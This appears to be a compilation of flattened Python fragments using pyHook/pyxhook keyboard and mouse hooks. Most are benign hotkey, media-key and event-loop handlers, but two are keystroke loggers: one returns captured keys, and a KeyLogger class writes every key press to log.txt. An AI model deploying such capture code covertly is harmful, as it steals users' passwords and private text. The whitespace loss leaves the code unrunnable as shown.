class Watcher(object): def __init__(self): self.hm = HookManager() self.hm.KeyDown = self.key_down_event self.hm.HookKeyboard() def key_down_event(self, event): try: if GetKeyState(HookConstants.VKeyToID('VK_SHIFT')) and GetKeyState( HookConstants.VKeyToID('VK_MENU')): if HookConstants.IDToName(event.KeyID) == "1": print("screenshot!") title = "".join( random.choice(ascii_letters + digits) for i in range(16)) screenshot.screen(title + ".png") elif HookConstants.IDToName(event.KeyID) == "2": print("screenshot active window") elif HookConstants.IDToName(event.KeyID) == "3": print("screenshot selection") except: pass finally: return True def shutdown(self): PostQuitMessage(0) self.hm.UnhookKeyboard()
def keylogger(size): if os.name == "nt": import win32api import pythoncom from pyHook import HookManager else: p = subprocess.Popen(["echo $DISPLAY"], shell=True, stdout=subprocess.PIPE) output, err = p.communicate() if len(str(output).strip()) == 0: return "Display not found" else: import pyxhook from pyxhook import HookManager global keysPressed hm = HookManager() hm.KeyDown = onkeyboardevent hm.HookKeyboard() if os.name != "nt": hm.start() while len(keysPressed) < int(size): if os.name == "nt": pythoncom.PumpWaitingMessages() else: keys = keysPressed keysPressed = ">" if os.name == "nt": hm.UnhookKeyboard() else: hm.cancel() return keys
class Keystroke_Watcher(object): def __init__(self): self.hm = HookManager() self.hm.KeyDown = self.on_keyboard_event self.hm.HookKeyboard() def on_keyboard_event(self, event): try: OnKeyPress(event.KeyID) finally: return True def shutdown(self): PostQuitMessage(0) self.hm.UnhookKeyboard()
class KeystrokeWatcher(object): def __init__(self, functions): self.queue = [] self.functions = functions self.calculateQueueMaxSize() self.hookMan = HookManager() self.hookMan.KeyDown = self.onKeyDown self.hookMan.HookKeyboard() def calculateQueueMaxSize(self): self.queueMaxSize = 0 for function in self.functions: size = len(function[0]) if size > self.queueMaxSize: self.queueMaxSize = size def onKeyDown(self, event): if len(self.queue) == self.queueMaxSize: del self.queue[-1] self.queue.insert(0, event.KeyID) self.checkQueue() return True def checkQueue(self): for pair in self.functions: keys, func = pair if len(self.queue) >= len(keys): found = True for i, key in enumerate(keys): if self.queue[i] != key: found = False break if found: func() def shutdown(self): PostQuitMessage(0) self.hookMan.UnhookKeyboard()
class KeyHook(object): playpause = pyqtSignal() play_prev = pyqtSignal() play_next = pyqtSignal() stop = pyqtSignal() def __init__(self, controller, enabled=True): super(KeyHook, self).__init__() self.controller = controller # todo: need a way to set these self.k_LAUNCHMEDIA = 181 self.k_NEXT = 176 self.k_PLAYPAUSE = 179 self.k_PREV = 178 self.k_STOP = 177 if os.name == 'nt' and HookManager is not None: self.hm = HookManager() self.hm.KeyDown = self.keyPressEvent if enabled: self.hm.HookKeyboard() self.enabled = enabled sys.stdout.write("Keyboard Hook enabled (enabled=%s)\n" % enabled) else: sys.stdout.write("Unable to initialize Keyboard Hook\n") self.hm = None self.enabled = False self.diag = False def keyPressEvent(self, event): # return false to capture the key press if event.KeyID == self.k_PLAYPAUSE: self.playpause.emit() return False elif event.KeyID == self.k_STOP: self.stop.emit() return False elif event.KeyID == self.k_PREV: self.play_prev.emit() return False elif event.KeyID == self.k_NEXT: self.play_next.emit() return False elif self.diag: if event.Ascii > 0x20 or event.Ascii == 0xD: #any char or \n sys.stdout.write("%s" % chr(event.Ascii)), else: sys.stdout.write("{%02X}" % event.KeyID) return True def setEnabled(self, b): if os.name == 'nt': if not self.enabled and b: self.hm.HookKeyboard() self.enabled = b elif self.enabled and not b: self.hm.UnhookKeyboard() def setDiagEnabled(self, b): self.diag = b def getDiagEnabled(self): return self.diag
if is_shortcut(keys_pressed, quit): exit(0) if is_shortcut(keys_pressed, trigger): spotlight = Spotlight() controller = SpotlightController(spotlight = spotlight) keys_pressed = [] return False return True def OnKeyUp(event): global keys_pressed if event.GetKey() in keys_pressed: keys_pressed.remove(event.GetKey()) return True hook_manager.KeyDown = OnKeyDown hook_manager.KeyUp = OnKeyUp hook_manager.HookKeyboard() while True: if spotlight: hook_manager.UnhookKeyboard() spotlight.run() spotlight = None controller = None hook_manager.HookKeyboard() else: PumpWaitingMessages()
class EventManager(object): """ Event manager that runs event loop and calls event handlers. """ def __init__(self): """ Constructor. :return: None. """ # Create hook manager self._hook_manager = HookManager() # Add attributes `mouse_hook` and `keyboard_hook`. # Without the two attributes, the hook manager's method `__del__` # will raise AttributeError if its methods `HookKeyboard` and # `HookMouse` have not been called. self._hook_manager.mouse_hook = False self._hook_manager.keyboard_hook = False def start_event_loop(self): """ Start event loop. This method will not return until the event loop is stopped by \ calling :paramref:`stop_event_loop`. :return: None. """ # Start hooking key events self._hook_manager.HookKeyboard() # Start hooking mouse events self._hook_manager.HookMouse() # Create MSG structure msg = MSG() # Run event loop GetMessageW(byref(msg), 0, 0, 0) # Stop hooking key events self._hook_manager.UnhookKeyboard() # Stop hooking mouse events self._hook_manager.UnhookMouse() def stop_event_loop(self): """ Stop event loop. :return: None. """ # Post a WM_QUIT message to this thread's message queue PostQuitMessage(0) # Map event handler type to handler attribute name _EVENT_HANDLER_TYPE_TO_ATTR_NAME = { 'KeyDown': 'KeyDown', 'KeyUp': 'KeyUp', 'MouseDown': 'MouseAllButtonsDown', 'MouseUp': 'MouseAllButtonsUp', 'MouseMove': 'MouseMove', 'MouseWheel': 'MouseWheel', } def add_handler(self, handler_type, handler): """ Add event handler. :param handler_type: Event handler type. Allowed values: - 'KeyDown' - 'KeyUp' - 'MouseDown' - 'MouseUp' - 'MouseMove' - 'MouseWheel' :param handler: Event handler. :return: None. """ # Get handler attribute name attr_name = self._EVENT_HANDLER_TYPE_TO_ATTR_NAME.get( handler_type, None) # If handler attribute name is not found, # it means given handler type is not valid. if attr_name is None: # Get error message msg = 'Error: Invalid handler type: {0}'.format(repr(handler_type)) # Raise error raise ValueError(msg) # If handler attribute name is found. # Set the handler attribute on the hook manager setattr(self._hook_manager, attr_name, handler) def remove_handlers(self): """ Remove all event handlers. :return: None. """ # Set handler attributes on the hook manager be None self._hook_manager.KeyDown = None self._hook_manager.KeyUp = None self._hook_manager.MouseAllButtonsDown = None self._hook_manager.MouseAllButtonsUp = None self._hook_manager.MouseMove = None self._hook_manager.MouseWheel = None
class WindowsRecorder(BaseRecorder): KBFLAG_CTRL = 0x01 KBFLAG_ALT = 0x02 KBFLAG_SHIFT = 0x04 KBFLAG_CAPS = 0x08 default_radius = 25 capture_interval = 0.05 capture_maxnum = 30 def __init__(self, device=None): self.watched_hwnds = set() super(WindowsRecorder, self).__init__(device) self.kbflag = 0 self.hm = HookManager() self.hm.MouseAllButtons = self._hook_on_mouse self.hm.KeyAll = self._hook_on_keyboard def attach(self, device): if self.device is not None: print "Warning: already attached to a device." if device is not self.device: self.detach() handle = device.hwnd def callback(hwnd, extra): extra.add(hwnd) return True self.watched_hwnds.add(handle) try: # EnumChildWindows may crash for windows have no any child. # refs: https://mail.python.org/pipermail/python-win32/2005-March/003042.html win32gui.EnumChildWindows(handle, callback, self.watched_hwnds) except pywintypes.error: pass self.device = device print "attach to device", device def detach(self): print "detach from device", self.device self.device = None self.watched_hwnds = set() def hook(self): self.hm.HookMouse() self.hm.HookKeyboard() def unhook(self): self.hm.UnhookMouse() self.hm.UnhookKeyboard() def _hook_on_mouse(self, event): if self.device is None: return True if event.Window not in self.watched_hwnds: return True if event.Message == HookConstants.WM_LBUTTONUP: x, y = self.device.norm_position(event.Position) # ignore the clicks outside the rect if the window has a frame. if x < 0 or y < 0: return True self.on_click((x, y)) return True def _hook_on_keyboard(self, event): if self.device is None: return True if event.Window not in self.watched_hwnds: return True print "on_keyboard", event.MessageName, event.Key, repr( event.Ascii), event.KeyID, event.ScanCode, print event.flags, event.Extended, event.Injected, event.Alt, event.Transition return True
class KeyLogger(object): def __init__(self, logging=True): self.hooked = False if logging: log_file = "log.txt" self.logger = getLogger("keys") handler = FileHandler(log_file) formatter = Formatter("%(message)s") handler.setFormatter(formatter) self.logger.addHandler(handler) self.logger.setLevel(DEBUG) def ctrl_down(self): """ Determine if either control key is pressed """ return GetKeyState(HookConstants.VKeyToID("VK_CONTROL")) def shift_down(self): """ Determine if either shift key is pressed """ return GetKeyState(HookConstants.VKeyToID("VK_SHIFT")) def alt_down(self, event): """ Determine if either alt key is pressed """ return KeyboardEvent.IsAlt(event) def key_log(self, event): """ Properly record key presses """ key = event.GetKey() ctrl = self.ctrl_down() shift = self.shift_down() alt = self.alt_down(event) if ctrl and shift and alt: final_key = "ctrl+shift+alt+" + key elif ctrl and shift: final_key = "ctrl+shift+" + key elif shift and alt: final_key = "shift+alt" + key elif ctrl and alt: if key in string.ascii_uppercase: final_key = "ctrl+alt+" + key.lower() else: final_key = "ctrl+alt+" + key elif ctrl: if key in string.ascii_uppercase: final_key = "ctrl+" + key.lower() else: final_key = "ctrl+" + key elif shift: final_key = "shift+" + key elif alt: if key in string.ascii_uppercase: final_key = "alt+" + key.lower() else: final_key = "alt+" + key else: if key in string.ascii_uppercase: final_key = key.lower() else: final_key = key self.respond(final_key) return True def respond(self, key): """ Override this function to change key response functionality. Default functionality logs keys to file. """ self.logger.info(str(key)) def hook(self): """ Hook Keyboard """ self.hook = HookManager() self.hook.KeyDown = self.key_log self.hook.HookKeyboard() def start_capture(self): """ Pull key presses """ self.hook() PumpMessages() def stop_capture(self): windll.user32.PostQuitMessage(0) self.hook.UnhookKeyboard()